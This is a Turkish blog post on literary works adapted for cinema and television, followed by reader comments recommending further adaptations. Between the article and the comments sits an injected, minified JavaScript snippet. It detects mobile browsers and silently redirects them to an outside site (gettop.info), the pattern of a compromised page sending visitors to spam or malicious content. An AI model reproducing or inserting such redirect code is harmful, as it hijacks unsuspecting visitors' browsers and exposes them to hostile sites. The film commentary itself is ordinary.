‘Edebiyat, Tiyatro ve Sinema’… (Uyarlamalar)

“Hafta sekiz ben eğlentide
Bugün saz, yarın sinema
Beğenmedin Aile bahçesi
Onu da beğenmedin, parka…” (O. Veli Kanık)

- ‘The Little Drummer Girl’ (1984)
John Le Carre, takip ettiğim bir yazar değil. İlk kez bu filmi izlediğimde haberdar olmuştum kendisinden. Daha ziyade politik gelişmeler ila yakıcı güncel mevzulara merak salmış bir yazar olduğunu biliyorum. Butch Cassidy and Sundance Kid’in yönetmeni George Roy Hill imzalı The Little Drummer Girl, yazarın romanından uyarlamadır. 1980′li yıllarda doruğa ulaştığını gördüğümüz kanayan bir yaraya, İsrail/Filistin meselesine parmak basıyor.

- ‘Bay Alkolü Takdimimdir’
Tv. Dizisi olarak uyarlanan bu yapım, alkolün yol açtığı musibeti, yıkımı dert ediniyor. Yaşar Seriner’in yönettiği, Engin Cezzar’ın devleştiği Bay Alkolü Takdimimdir; yazar/gazeteci Halit Çapın’ın -aynı dertten çektiklerini kaleme aldığı- bir kitabından uyarlamaydı. TRT televizyonunda yayımlanmış idi.

- ‘Farewell My Concubine’ {Hoşçakal Cariyem} /  1993
Lilian Lee’nin meşhur romanından adaptasyon. 1900′lerin ilk yarısından Uzun Yürüyüş’e, oradan Mao Devrimi’ne… bir 20. yüzyıl Çin panoramasıdır.

- ‘Ateşten Gömlek’ (Muhsin Ertuğrul ve Vedat Örfi Bengü imzalı 2 çevrimi mevcut.)
‘Vurun Kahpeye’ (Ömer Lütfi Akad, 1964)
Halide Edip Adıvar’dan, 2 mükemmel Kurtuluş Savaşı romanı; sinemamıza başarıyla kotarılarak uyarlanmıştır. Aliye öğretmeni, onun idealist-vakur kişiliğini ve karşılıksız vatan aşkını hangimiz unutabilir! Ve de ”Sinekli Bakkal”. 1839′dan beri ”efkar-ı umumiye”nin dilinde pelesenk olmuş -Doğu Batı sorunsalı- bu romanda, tarihsel temelde başarıyla resmedilir ve sinema uyarlaması da oldukça tatmin edicidir. (Başrolde T.Şoray)

- ‘Değirmen’ (1986)
Atıf Yılmaz’ın, Reşat Nuri Güntekin’in aynı adlı romanından uyarladığı ve barındırdığı hiciv veçhiyle romandan hiç de aşağı kalmayan nefis bir film. Reşat Nuri’nin çoğu eserinin satirik olduğu malum. Burada da zelzele ile çalkalanan (!) küçük bir taşra kasabası merkeze alınmış.

- ‘Slaughterhouse – Five’ {Mezbaha No: 5} / 1972
George Roy Hill’i 2. kez ağırlamış olayım ana mesajda. Film, kimi otoritelerce 20. asrın en komplike eserlerinden biri kabul edilen ve yazarının ünlü Kurt Vonnegut olduğu bir romandan uyarlamadır. Vonnegut, fantazyayı sever kitaplarında.
Kurt Vonnegut demişken… Bruce Willisli ‘Breakfast of Champions’ {Şampiyonların Kahvaltısı}, yine onun bir eserinden uyarlamadır.

‘Çalıkuşu’
1966, Osman F. Seden (Türkan Şoray, Kartal Tibet)
1985, Osman F. Seden (Aydan Şener / Kenan Kalav)
Reşat Nuri Güntekin’in klasikleşmiş kitabından, biri siyah beyaz 60′lar yapımı öteki 6 bölümlük TV. Dizisi olmak üzere, iki kez uyarlaması yapılmıştır. (Yakın zamanlardaki cep telefonu ve notebook ile revize edilmiş adaptasyonu saymıyorum.)
Milli Mücadele yıllarında geçer Çalıkuşu .İtalyan bir ‘leyli’ (yatılı) okuldan mezun ve başlarda hoppa bir kız olan ”Feride”nin (Aydan Şener / Türkan Şoray), sonrasında Anadolu’da geçen zorlu muallimelik yılları, cehalete karşı açılan savaş, ülkesine ve insanına yabancı aydınlar, hantal bürokrasi, eşraf kısmı ve tekke şeyhleri. Tabii Kamuran (K.Kalav) ile olan alengirli mevzu. Velhasıl fırtınalı bir yaşam biyografisi…

- Yakup Kadri Karaosmanoğlu’ndan 2 uyarlama;
”Sodom ve Gomore” ile ”Yaban”. Her ikisinin de mütareke döneminde geçtiği birçoğumuzun malumu. ”Sodom ve Gomore”de işgal altındaki Dersaadet, tüm kokuşmuşluğu ve yozlaşmışlığıyla verilir. Bir İngiliz zabiti ile Türk kızı arasındaki münasebet, aynı zamanda paradokslar yumağıdır.Gelelim Aytaç Arman’ın hayat verdiği Ahmet Celal’e yani ”Yaban”a. Ahmet Celal 1.cihan harbi’nde sakat kalınca Anadolu’da münzevi bir köye yerleşen bir münevver ve vatanperesttir, amacı köylüyü her anlamda örgütlemektir. Ancak ne aydın köylüyü iyi tanımaktadır, ne de köylü gerekli bilinç düzeyine erişebilmiştir. A.Celal köylünün gözünde bir yabandan öte anlam teşkil etmemektedir. Tam bir iki taraflı ”yabancılaşma” örneği.

- ‘Zübük’ (Kartal Tibet – 1980)
‘Yaşar Ne Yaşar Ne Yaşamaz’ (Engin Orbey – 1978)
‘Gol Kralı’ (Kartal Tibet – 1981)
‘Tatlı Betüş’ (Atıf Yılmaz – 1993)

Bir büyük yazardı Aziz Nesin. Demirtaş Ceyhun’un yıllar önce Süper Kanal’da onun hakkında aktardığı çok güzel anektodlar vardı. Marko Paşa dergisini el yordamıyla satma çabaları ve karşılaştıkları zorluklar; çocuklar için açtığı o güzel merkez… “Devlet dediğin soyut bir varlık değil ki! Senin, benim gibi etten kemikten yapılmış insanlar oluşturuyor mu bu kurumu…” Tabi ben mealen yazıyorum ancak aşağı yukarı böyle söylüyordu rahmetli. Onun tüm eserleri yoğun bir hiciv ve insan sevgisi ile örülüdür. Toplum içerisinde ve bürokrasi katında yaşanan çarpıklıklar, tükenmez bir malzeme kaynağıydı Nesin için. Yaşar Ne Yaşar Ne Yaşamaz’da, resmi kayıtlarda öldü diye geçen ve buna istinaden her türlü sosyal haktan mahrum kalan Halit Akçatepe; askerlik çağına geldiği vakit apar topar kışlaya çağrılacaktır. (…)
Tatlı Betüş, TV. dizisi olarak uyarlanmış idi. T. Şoray başroldeydi.

- ‘Les Possedes’ (1987)
Polonyalı usta yönetmen Andrzej Wajda, bu filmi Dostoyevski’nin ünlü ‘Ecinniler’ kitabından uyarladı. Uzun zaman önce izlemiş olmama rağmen başarılı bir uyarlama olduğunu anımsarım. (Sanırım yakın zamanlarda raflarda da yerini aldı film.) Mermer Adam’ın Birkut’u Jerzy Radziwilowicz’e, Isabelle Huppert ve Ömer Şerif gibi iki ünlü oyuncunun eşlik ettiği film; bizleri 19. yüzyılın çalkantılı Rusyasına götürüyor. Dostoyevski’nin gençliğinde Çarlığa karşı yıkıcı eylemler ifa eden yeraltı hareketine üye olduğunu meraklıları bilecektir.

- ‘A Streetcar Named Desire’ {İhtiras Tramwayı} – 1951
Tereciye tere satmayacağım. Elia Kazan’dan yıllara meydan okuyan bir oyun uyarlaması. (Tenesse Williams)
Bir de güncel: Marquez’in ‘Love in Time of Cholera’ (Kolera Günlerinde Aşk) eseri perdede hayat buldu nihayet!

Kitap mı sinema mı? Sayfalar dolusu metinler yumağı, iki saatlik süreye bihakkın sığdırılabilir mi? Sinema, denildiği gibi kitabın sunduğu hayal kurma gücünü kısıtlıyor mu? Dilerseniz bu kadim konuyu ileride açmak üzere şimdilik imlemiş olalım.
Uzun ve çetin bir yolculuğun ilk basamaklarıydı bu yazı. 7. sanatımız, kendisinden önceki 6 sıranın ikisini paylaşan ve edebiyat ila tiyatro adlarını taşıyan köklü iki sanattan oldukça verimli ve bol keseden faydalanmayı bilmiştir. Sizlerin de değerli katkılarıyla güzel bir yolculuk olacağını temenni ediyorum.

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

Bu yazıyı paylaş:
  • Facebook
  • Twitter
  • Google Bookmarks
  • email
  • MySpace

“‘Edebiyat, Tiyatro ve Sinema’… (Uyarlamalar)” bu yazı hakkında 60 yorum var

  • Mehmet ÇELİK diyor ki:

    -’Fight Club’ (1999)
    Chuck Palahniuk, önceleri ‘Project Mayhem’(Kargaşa Projesi) olarak yazdığı kısa öyküyü, daha sonra ‘Fight Club’ adlı romana dönüştürdü. Yıl 1999′u gösterdiğinde, Se7en’ın ulu bilge yönetmeni David Fincher, yeraltı edebiyatının altını üstüne getirdiği romanı aynı adla sinemaya uyarladı ve sinemaseverlere kışkırtıcı, patlamaya hazır bir bomba armağan etti.

    -’a Clockwork Orange’ (1971)
    Anthony Burgess hasta yatağında ölümü beklerken, arkasında ailesini geçindirecek para bırakmak için kaleme aldığı aynı adlı eser, ‘kusursuz filmler’in ‘kusursuz yönetmeni’ Stanley Kubrick tarafından sinemaya uyarlandı. Daha sonra hasta raporlarının karıştığı ve Burgess’ın sapasağlam olduğu ortaya çıktı.(Eserin ortaya çıkışı da tıpkı bir film gibi.)

    -’My Left Foot : THe Story of Christy Brown’ (1989)

    Daniel Day-Lewis’in parmak ısırtan performansıyla akademi ödülünü kazanmasına vesile olan yapım, beyin felci olan ve sol ayağı haricinde vücudunu kontrol edemeyen Christy Brown’ın otobiyografisinden uyarlama. Başarılı uyarlamanın yönetmen koltuğunda Jim Sheridan oturmuştu.

    -’The Sheltering Sky’ (1990)
    İki yabancı. Birlikte ama yalnız… Paul Bowles’un romanı tecrübeli yönetmen Bernardo Bertolucci’nin ellerinde adeta ‘bir yalnızlık senfonisi’ne dönüşmüş; Vittorio Storaro’nun harikulade görüntü yönetimi, Ryuichi Sakamoto’nun yürek burkan müzikleriyle birleşince ortaya oryantalist bir ağıt çıkmış. Filmdeki anlatıcı, yazar Paul Bowles’tan başkası değil. Şimdilik Bowles’un sözleriyle noktalayalım…
    ”Ne zaman öleceğimizi bilmediğimiz için, hayat hiç bitmeyecekmiş gibi gelir. Ama hiçbir şey çok tekrarlamaz kendini. Aslında çok az tekrarlar. Çocukluğunuzun bir öğleden sonrasını, öyle ki, hayatınızı onsuz düşünemediğiniz, sizi derinden etkilemiş bir öğleden sonrayı, daha kaç kez anımsayabilirsiniz ki? Belki dört, beş kez daha. Belki o kadar bile değil. Dolunayın çıkışını daha kaç kez izleyebileceksiniz? Belki yirmi. Ama yine de, her şey sonsuzmuş gibi gelir.”

  • Filiz SEZEN diyor ki:

    Cat on A Hot Tin Roof {Kızgın Damdaki Kedi} / Richard Brooks – 1958

    Tennessee Williams demişken “Kızgın Damdaki Kedi”yi anmadan olmaz. Çok sevdiğim bir solukta biten bir tiyatro oyunu uyarlaması.

    *****

    The Color Purple {Mor Yıllar} / Steven Speilberg – 1985

    Alice Wolker ‘ın romanından uyarlanmış bir Speilberg filmi. 1900lerin başında Amerika’da bir grup zenci kadın üzerinden kadınların sosyal hayattaki yerlerini oldukça dokunaklı bir dille işlemiş.

  • cokseybilenkiz diyor ki:

    tous les matins du monde:dünyanın bütün sabahları(1991)
    yön:alain corneau
    yazan:pascal Quignard…(roman)

    şu an elimde tutuyorum inceçik bir roman(85 sayfa)ama tıpkı filmi gibi tutkulu bir roman.filmi yıllar önce izlemiş ve bu kısaçık romandan aldıgım tadı filmdende almıştım.dünyanın bütün sabahları dönüşsüz’dür diyor yazar kitabının bir yerinde.şöhreti,parayı,mevkiyi vede akla gelecek pek çok şeyi reddedebilen bir insanın öyküsünü anlatıyor yapıtında bize

    ****asıl modası gecen benim beyler,diye bagırdı ansızın kendi giyimi ve kuşamıyla alay edilmesine sinirlenen sainte colombe .yüce kralınıza teşekkür ediniz,diye haykırdı,ben onun bana teklif ettiği altınların yerine ellerimin üstüne batan güneşin ışınlarını terçih ederim,bukleli perukalarınızı değil,kendi çuha elbiselerimi terçih ederim.kralın kemanlarının yerine kendi tavuklarımı,sizlere kendi domuzlarımı terçih ederim****
    pek çok seçkide gelmiş geçmiş en iyi filmler arasında kendisine her daim yer bulmuş bu güzel filmi tavsiye ederim

  • cokseybilenkiz diyor ki:

    A room with a view:manzaralı oda(1986)
    yön:james ivory
    yazan:E.M.Forster…(roman)

    film yayınlamayan(yada benim rast gelmediğim)bir kanalda çıkıverdi karşıma yıllar sonra.genceçik bir helena bonham carter ve ne yazık daha sonraları hak ettiği yere gelemeyecek bir julian sands ile yan rollerde ise her zaman iyi oyuncu maggie smith ve daniel day-lewis var.
    herşey lucy’nin ve kendinden yaşlı hiç evlenmemiş kuzini’nin italya gezisi ile başlar.kendilerine vaat edilen manzaralı oda onlardan esirgenmiştir pansiyoner hanım tarafından.ama kibar bir bey kendisi ve oglunun kaldıgı odayı iki kuzine teklif eder.lucy odayı kabul eder ama genç george’un kalbini kırmaktan çekinmez.tekrar ingiltereye döndüklerinde ise nişanlısı cecil ve george arasında kalır.
    yönetmen james ivory her daim iyi dostları olan yapımçı ismail merchant ve o güzelim roman uyarlamalarını dahada güzel bir şekilde senaryoya uyarlayan bayan ruth prawer jhabvala ile birlikte bu film ile ilk yükseliş sinyallerini veriyorlar biz sinema severlere.manzaralı oda yapıcakları daha sonraki filmlerine bir ön hazırlık.(bakınız:günden kalanlar ve howard’ların sonu)muhteşem üçlünün ilk birliktelikleri gerçi 1963 yılana kadar uzansada vede manzaralı odadan önçe ülkemizdede video zamanında çok sevilen bir başka uyarlama olan”heat and dust”u çekselerde bu dönem filmi ustalarının sinemasına giriş için en uygun film kanımca ”a room whith a view”dir.

  • Mehmet ÇELİK diyor ki:

    -’İki Genç Kız’ (2005)

    Karanlık Sular, Lola + Bilidikid gibi başarılı filmlerin başarılı yönetmeni Kutluğ Ataman’ın şimdilik son filmi olan ‘iki Genç Kız’, Perihan Mağden’in ‘İki Genç Kızın Romanı’ adlı eserinden uyarlama.
    Farklı sosyal tabakalarda yaşayan Handan ve Behiye’nin sıkı dostluklarını, çevredekilerine olan öfkelerini sert bir üslupla ele almış yönetmen. Esasında Behiye Handan’la tanışmadan önce de kadın olmasına rağmen kendini asla ezdirmeyen bir asidir hatta biraz da anarşisttir. Kendisini sürekli itip kakan abisinin diş fırçasıyla klozeti bi güzel fırçalayan bu ağzı bozuk Behiye’nin aksine biraz daha saf bir karakterdir Handan. Bu iki genç kız, kadın olmanın zor olduğu bir ülkede umut için çırpınır.
    Hülya Avşar’ın başarısız performansını görmezden gelirseniz, Vildan Atasever ve Feride Çetin’in başarılı performanslarının yanısıra Replikas’ın etkileyici müzikleriyle iyi bir seyirin tadını çıkarabilirsiniz.

  • Filiz SEZEN diyor ki:

    Ian McEwan’ın romanından uyarlanan ve şu sıralar sinemalarda gösterilen bir dönem filmi ‘Atonement’ {Kefaret} / Joe Wright – 2007.

    2. Dünya Savaşı yıllarında geçen ve sosyal tabakalar arası adaletsizlik üzerine yoğunlaşıp savaşın acılarını da bünyesine almış, sekanslar arası geçişlerini bilhassa beğendiğim bir film.

  • cokseybilenkiz diyor ki:

    this sporting life:sporcunun hayatı:(1963)
    yön:lindsay anderson
    yazar:david storey(özyaşamsal romanından)

    richard harris’in canlandırdıgı genç sporcu frank maçta kırılan dişi için dişçide beklerken geçmişi anımsar. kuzeydeki maden ocağından londraya gelmiş dul bir bayan olan margret’in pansiyonuna yerleşmiştir.katıldıgı ragbi klübünde yıldızı birden parlamış ve kısa sürede para sahibi bir spor olmuştur ama aşık oldugu margret’ten yüz bulamaz.aslında sınıf atlamış gibi gözüksede frank hala taşradan gelen o gençtir ve külübün yönetiçileri tarafından kullanılmaktadır.

    yazarın david storey bir maden işçisinin oglu imiş ve 1950′li yıllarda londrada ragbi oyunculugunu denemiş ve romanını bu deneyimler ile temellendirmiş.özgür sinema akımının en bilinen filmlerinden biri ve yönetmen lindsay anderson ve yine yönetmen-bu filmde yapımcı-karel reisz’in ortak çalışmaları.kimi eleştirmenlere göre tek kusuru iç sahnelerdeki tiyatrovari hava

  • Akif YILMAZ diyor ki:

    ‘Dersu Uzala’ / Akira Kurosawa – 1975

    Vladimir Arsenyev’in romanından uyarlanmıştır.

    Film yönetmenin en başarılı filmlerinden birisi, fakat diğer filmlerinin biraz gölgesinde kalmış bir film. Film eşsiz doğa görüntüleri ile şiir gibi akmakta.. Ayrıca gösterişten uzak (sade), bir o kadar da etkileyici oyunculukları ile tadından yenmeyecek kıvamda. Doğa adamı, aynı zamanda görmüş geçirmiş bilge şahsiyet ‘Dersu Uzala’ yı öylesine sıcak anlatan bir film ki, ancak o kadar olur. Aynı zamanda, biraz uzunca süresine rağmen bitmesini istemediğim filmlerden birisidir… Ne de olsa kimin yönetmeni:)

  • Akif YILMAZ diyor ki:

    ‘The Searchers’ {Çöl Aslanı} / John Ford – 1956

    Alan Le May’in romanından uyarlanmıştır.

    Sadece türünün (Western) değil, tüm sinema tarihinin en iyi filmlerinden birisidir kanaatimce. John Ford ustalığının zirve noktalarından…

    Filmde; yönetmen karakterleri çok büyük bir ustalıkla çizmiştir. Bunun yanında karakterlerin psikolojisinin muhteşem yansıtılması filmin bir diğer artısı. Ayrıca mekan kullanımı, oyuncu yönetimi son dereceli başarılı bir film. Yine filmdeki duygusallığın yerli yerinde oluşu, filme çok şey katıyor. Daha say say bitmeyecek özellikleri ile birçok yönetmen için ders kitabı niteliğinde bir filmdir. Western nedir? Western ‘The Searchers’tir. En azından ben öyle düşünüyorum…

  • cokseybilenkiz diyor ki:

    the good earth:toprak ana(1937)
    yönetmen:sidney franklin
    yazar:pearl S.buck….(roman)

    kıta çin’inin iç savaş günlerinde kuzeydeki anhwei eyaletinden iki yoksul köylü wang lung ile karısı o-lan,canlarının dişlerine takarak topraktan ürün çıkarmaya çalışır,açlıga,dogasal yıkımlara ggöğüs gererek.sonunda zenginleşen wang,mutlulugunu yitirecektir.

    pearl S.buck’ın en iyi romanı MGM yapımcısı irwing thalberg’in büyük harcamaları ile hazırlanıp ,geniş kitlelere ulaşmış.sondaki çegirge saldırısı sahnesi unutulmaz. paul muni ve louise rainer(rainer o yıl kamelyalı kadın garbo’yu alt edip oscarı kucaklamış)da ayrıca görüntü yönetmeni
    karl freund’da nefis görüntüleri.izlenir bir uyarlama

  • okaliptus80 diyor ki:

    ‘Acımak’ (1985) / Orhan Aksoy
    (Eser: Reşat Nuri Güntekin’in bir romanı.)

    “Babam Müşfik Efendi…”
    Böyle başlıyordu hep Zehra’nın ağzından dökülen tümceler… Reşat Nuri’nin bir solukta okunan ve toplumsal merhamet konusunu eksen aldığı romanından, benim son derece sade ve başarılı bulduğum bir tv. adaptasyonuydu Acımak. Zehra öğretmeni Ayşegül Aldinç, babayı ise Ediz Hun oynamıştı. Küçüklüğünden beri babasına karşı beslediği nefretin etkisiyle taşlaşmış, katı yürekli bir insan halini alan Zehra öğretmen, kura sonucu bir Anadolu kasabasına tayin olur. Gel zaman git zaman babaya ait o meşhur “günlük” açılır ve bütün sırlar birer birer ifşa olur. Bir mülki idare memuru olan babasının -hiç bilmediği- gerçek yüzüne ve naif kişiliğine şahadet etmenin eşiğindedir genç kızımız. Acaba bu okudukları, “acımak” duygusunu ona bir kez olsun tattırabilecek midir? (…)
    ______

    ‘The Eiger Sanction’ {Zirvede Ölüm} / Clint Eastwood – 1975

    Eastwood’un kameranın hem önünde hem de arkasında yer aldığı yapımlardan biri olan Zirvede Ölüm, dağcılık ile ilgili bir filmdi bileceğiniz üzere. Rod Whitaker’in filme kaynaklık eden romanının, dağcılık sporunu çok güzel betimlediği ifade edilir.

  • cokseybilenkiz diyor ki:

    bunny lake ls missing:bunny lake kayboldu:(1965)
    yön:otto preminger
    yazar:mryam modell (roman)

    jodie foster’ın ”uçuş planı ”isimli filmine esin kaynagı olan film.küçük kızının ortadan kaybolması üzerine polise giden ama bir kızı olduguna kimseyi inandıramayan genç annenin öyküsü


    body parts:(1991)

    yön:eric red
    yazar:Pierre Boileau,Thomas Narcejac ikilisi(roman)

    psikolog olan kahramanımız bir araba kazası geçirir veyaşamı kabusa dönüşür.filmde neyin iyi ,neyin kötü oldugu,insanların çevrelerine zarar veren davranış biçimlerine neden girdikleri sorgulanıyor


    what a way to go:(1964)

    yön:j.Lee-thompson
    yazar:betty comden-adolph green(öykü)

    çok zengin bir kadın(shirley maclaine)doktoruna bu parayı nasıl kazandıgını anlatır.sayısız kez evlenmiş(zengin adamlar ile)ve kocaları o veya bu şekilde kaza ile ölmüşlerdir.eglenceli bir film atilla dorsay öykünün iyi ama yönetmen(bezirgan diyor onun için)in bu öyküyü anlatmakta yetersiz kaldıgını söylüyor

  • cokseybilenkiz diyor ki:

    a merry war:özgür adam:1997
    yön:robert bierman
    yazar:george orwell (roman)

    orwell’in yarı otobiyografik romanı”kepp the aspidistra flying’den yapılan bir uyarlama.bir reklam ajansında metin yazarı olarak çalışan gordon’un hikayesi.filmi izlemedim ama filme konu olan kitap ülkemizde yayınlandı.uzun yıllar önce okumuştum


    the informant:

    yön:jim mcbride
    yazar:gerald seymour(roman)

    yazarın ”field of blood”isimli romanının uyarlaması bir ira tetikçisinin yaptıklarını sorgulamasını anlatıyor.bu sorgulama onu ihanete kadar götürüyor.evli 2 çocuklu kahramanımız bir gün ingilizler tarafından itirafa zorlanıyor.seceneği var tabi ,ailesi yada örgütü arasında bir seçim bu ve hangisini secerse seçsin ihanet etmiş olacak

    the stuntman:ecelle yarış (1980)
    yön:richard rush
    yazar:paul brodeur(roman)

    wietnamdan dönen genç bir adam bir suç işler ve kaçmak zorunda kalır.bir sahil kasabasında bir savaş filmi çekmekte olan yönetmen eli croos ile tanışır.çekimler sırasında bir dublör ölmüştür ve yönetmen bunu saklamak ister.bunun içinde genç adamı işe alır.film bize bir savaş filminin çekiminide ayrıntılı olarak gösteriyor.ama izlenen bütün o sahneler sonunda filminde tek kozu olarak kalıyor.yani film eleştirdiği şeylere(sinemada şiddet) muhtaç oluyor.vasat bir film

  • Akif YILMAZ diyor ki:

    ‘Bringing Out the Dead’ {Yaşamın Kıyısında} / Martin Scorsese – 1999

    Joe Connely’nin aynı adlı romanından uyarlanmış bir film. Filmde Hell’s Kitchen (Sokakların anlatıcısı Scorsese çok iyi bildiği New York Caddelerinde) kesiminde ambulans şoförlüğü yapan ve psikolojisi bozuk olan Frank Pierce’nin öyküsü anlatılır. Onunla birlikte arkadaşlarının can kurtarma çabaları anlatılır… Karakter çizmedeki ustalığı tartışılmaz olan Scorsese, filmde harika bir karakter ortaya çıkarıyor (Nicolas Cage’nin ne işin var aksiyon filmlerinde, gel oyna böyle filmlerde; dedirten performansını da göz ardı etmemek lazım). Scorsese filmde bu karakterin psikolojisini derinlemesine inceleme altına alıyor…

  • okaliptus80 diyor ki:

    ‘Where the Heart Is’ {Kalbinin Olduğu Yer} – 2000

    Matt Williams’ın yönettiği ve Natalie Portman & Ashley Judd gibi iki popüler yüzü bir araya getiren hafif bir dram. İlk mesajda bir edebiyat eserini iki saate sığdırmanın zor olduğundan; mevcut süre ve imkanlara binaen illa ki kimi noktalardan -çarnaçar- feragat edileceğinden bahsetmiş idim.
    Bir de madalyonun öteki yüzü var ki, onu da -dün akşam ilk kez TV8′de izlemiş olduğum- bu filmde görüyoruz: Mevcut uyarlamanın, bir miktar elastikiyetle, kaynağından içerik veçhiyle sapma göstermesi; revize edilmesi… Şöyle ki; filmin alındığı romanda ( Billie Letts yazarıdır.) ana kahramanın (Portman) takıntılı olduğu ve uğursuzluk getirdiğine inandığı rakam 7 iken; filmde bunun 5 ile tebdil edildiğini görüyoruz.
    Filmimizin odak noktası, genç bir kızın kimlik arayışı ve yaşam mücadelesi.
    ____

    Bir Duyuru: Sinemaya iyi bir malzeme olduğu tartışılamayacak Alexandre Dumas’dan uyarlama ünlü ‘Korsikalı Kardeşler’ { The Corsican Brothers}, bu hafta sonu Business Channel’da olacak. Çocukluklarından beri yolları ayrılan/ayrı düşen iki korkusuz kardeşin hüzünle karışık öyküsü… İyi bir uyarlama izlemek isteyenlere…

  • cokseybilenkiz diyor ki:

    just jeackin aslında bir moda fotografcısı imiş.sonra film yönetmeni olmuş.ünlü filmleri var -kendi ölçüsü içinde başyapıt bunlar-burda ondan söz etmemim sebebi.yaptıgı edebiyat uyarlamaları.filmleri çok degil ama 2 tanesi herkes tarafından bilinen eserler.
    *emmanuelle….emmanuelle arsan’ın(romanından)
    *histoire d’o:o’nun hikayesi…dominigue aury’nin (romanından)
    *lady chaterly’s lover……D.H.Lawrence’nin(romanından)
    hadi ilk ikisi neysede diyor eleştirmenler ama lawrence’ın eserine yaptıgını nedense pek hazmedemiyorlar.hatta biri şöyle diyor.
    …..yazarın 1928 yılında kendi olanakları ile bastırabildiği ama basıldıktan bir süre sonra toplatılan eseri bir defada yönetmen jeackin’in ellerinde katledilip sylvia kristel teşhirçiliğine dönüşüyor…….
    jeackin en son 1984 yılında bir film yönetmiş.o günden beride sesi solugu çıkmamış

  • cokseybilenkiz diyor ki:

    yaralı kalp 1972
    yön:remzi jöntürk
    yazar:georges ohnet (roman)

    georges ohnet’in (demirhane müdürü)isimli romanının sinemamızdaki uyarlaması.ediz hun -filiz akın çifti başrolde


    ırmak:1972

    yön.lütfü akad
    yazar:sait faik (öykü)

    usta öyküçümüz sait faik’in ”şahmerdan”isimli öykü kitabındaki ”mahpus”isimli öyküsünden yapılan ırmak 4.adana film festivalinde en başarılı 3.film seçilmiş.çevrelerindeki insanların çıkarları yüzünden kavuşamayan nuri ile zehra’nın açıklı öyküsü.


    keriz 1985 :

    yön:kartal tibet.
    yazar:osman şahin (öykü)

    osman şahin 1980 yılında ”nevzat üstün öykü ödülünü” alan kitabı”ağız içinde dil gibi” isimli kitabında ”namus eri”isimli bir öykü yayınlamış.bu öykünün konusu adıyaman çevresinde geçiyormuş.yazar öyküsüne konu olan olayı gazetelerde okumuş .bir köylü karısını kızkardeşinin hafif davranışları yüzünden babasının evine yollar daha sonra genc kadın ve ailesi köyden ayrılarak şehre yerleşirler.köyde kalan adamın üstünde ise inanılmaz bir baskı vardır.o törelere karşı gelmiştir.karısını remc edecek yerde boşamıştır .şimdi ise karısı şehirde akşam çıkmakta sabah gelmektedir.elbet bunun cezası verilmelidir.adam şehre gelir ve gece vardiyasında bir fabrikada çalışan karısını iş çıkışı vurarak öldürür.
    şahin bu haberi öykü yaparken törelerin nasıl işlediği ile degil nasıl işlemesi gerektiğini anlatmak istediğinden bu gercek öykünün sonunu degiştirir.karısını şehirde bulamayan adamın biliçlenmesini okuyucuya anlatır kendiside bir fabrikaya giren ve orda gece vardiyasında calışan kadınları görerek aslında karısının kötü bir şey yapmadıgını anlayan adamı bize tanıtır.yönetmen tibet’in ise ne gercekle nede bu öyküyle bir bagı vardır.onun elinde sunal gibi eger isterse gercekten çok başarılı olan bir oyuncu vardır ama o bu öykü ve oyuncunun potansiyelini hiçe sayarak sıg ve basit bir filme imza atar.
